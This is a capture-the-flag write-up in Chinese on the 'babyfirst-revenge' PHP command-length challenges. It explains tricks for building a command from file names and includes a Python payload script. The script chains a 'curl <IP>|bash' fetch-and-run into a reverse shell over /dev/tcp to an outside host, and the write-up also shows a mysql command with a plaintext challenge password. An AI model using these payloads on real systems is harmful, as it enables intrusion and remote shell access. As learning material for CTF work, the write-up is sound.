之前做buuctf上面的题,碰到一个仿照但条件更宽松的题目,搜了一下原题来记录一下。
感谢Pr0ph3t师傅的dockerfile

1.babyfirst-revenge

<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

在本题中,执行命令的长度被限制到了5个字符,而且执行命令使用的是exec,没有回显,因此得想办法写一个马或者反弹shell
一般来说,写文件最短的命令是
echo 1>x
但还有一种更巧妙的方式:

>a #产生了文件名为a的空文件
ls>_ # 将文件名a和_写入了文件_
sh _  #执行了a指令

这里用到了linux的一个Trick,文件中当前命令错误时会报错但不会影响后续命令的执行,所以_也被写进了_文件,但是不会影响命令的执行,以ls为例:

所以我们可以通过这种方式写入命令
此时又有另一个问题,ls的输出其实是自带换行符的:

这里又用到了linux的另一个Trick,命令执行可以通过\进行换行续写:

因此有这样一个思路,将所要执行的命令分解成片段并作为文件名,并在文件名末尾添加\,最后使用ls>x将其输出到文件x中,然后sh x
但是linux的ls默认是按照字典序进行排序的,难以保证我们的命令分段刚好能按照字典序排序,这里可以使用-t参数,会使排序按照修改时间进行排序,晚生成的文件排在前面

所以将命令分段倒序执行即可:

现在还有最后一个问题,我们最后要执行的ls -t>x显然是超长的,要将它分成几段使用ls写入文件的话,就不能使用-t了(不然还是超长,死循环),五个字符的限制,除去必须的\和>,还剩三个字符,而ls -t>x中的-和>字典序是非常靠前的,一定会在字母前面,这里有两种方法:

1.使用>>进行拼接

先将ls写入x,剩下的命令使用>>进行追加

2.按字典序分割

幸运的是ls -t>x这句命令可以分割为"l", "s -", "t>x",刚好是按照字典序排列的,直接生成即可

这样,只需要将我们要执行的命令分段写入执行即可
比如curl 2783117327|bash
以上数字为我vps地址的十进制形式,同时将ip/index.html内容替换为

bash -c "bash -i >& /dev/tcp/165.227.0.15/8123 0>&1"

在自己vps进行监听,反弹shell即可

注意,ash(就是命令的最后一个分段)后面不要加\,不然会将下一行也视为命令的一部分导致执行失败
以上部分都是在容器里直接执行的,在题目环境里,通过cmd提交命令即可,可以写个脚本方便一点,这里拿orange师傅的脚本稍微改了改:

import requests
from time import sleep
from urllib.parse import quote

payload = [
    # generate `ls -t>g` file
    '>ls\\', 
    'ls>_', 
    '>\ \\', 
    '>-t\\', 
    '>\>g', 
    'ls>>_', 
    # generate `curl 2783117327|bash` 
    '>bash',
    '>7\|\\',
    '>732\\',
    '>311\\',
    '>278\\',
    '>l\ \\',
    '>cur\\', 

    # exec
    'sh _', 
    'sh g'
]

r = requests.get('http://localhost:10001/?reset=1')
for i in payload:
    # assert len(i) <= 5 
    r = requests.get('http://localhost:10001/?cmd=' + quote(i) )
    print(i)
    sleep(0.2)

成功反弹shell
在home目录下找到名为fl4444g的目录

得到提示,flag在数据库里
在shell中,不能直接使用mysql连接数据库进行交互,可以使用-e参数来执行SQL语句:
mysql -ufl4444g -pSugZXUtgeJ52_Bvr -e "show databases;" > database.txt
Pr0ph3t师傅的docker似乎没配置mysql,所以就做到这里了,接下来直接查询就可以得到flag了

2.babyfirst-revenge-v2

<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

相比于上一题,cmd长度限制变成了4,其他没有变化
但是上一题用的ls>>_无法再用了,而且也没法分割成字典序可用的命令段
这里先说一下另外一个linux的Trick
*一般作为通配符使用,但单独一个*,linux会把当前目录下的所有文件名按照字典序排序,然后作为命令执行:

此外,从上图中可以看到,*o达到了同样的效果,在执行命令的前提下,*还可以作为通配符使用

在ls无法先添加到开始位置的情况下,可以使用rev将其逆序,即将g> t- sl逆序
但考虑到t的字典序比s大,会在s后面,可以再添加一个参数h,即g> ht- sl
参数h在没有参数l的情况下不会有效果,可以随意添加
但是,如果还是像上一题一样使用ls,是有换行符的,rev逆序是按行进行的,也就是只会对每一行内容分别逆序,无法达成目的
可以使用dir命令,与ls命令类似,不过输出中只有最后有一个换行符:

但是dir>_超长了,这里就可以使用我们上面提到的trick了:

*v执行了rev v命令,成功将ls -th >g写入了_文件,接下来就是v1的步骤了,只需要将每段命令更短一点即可。

打赏作者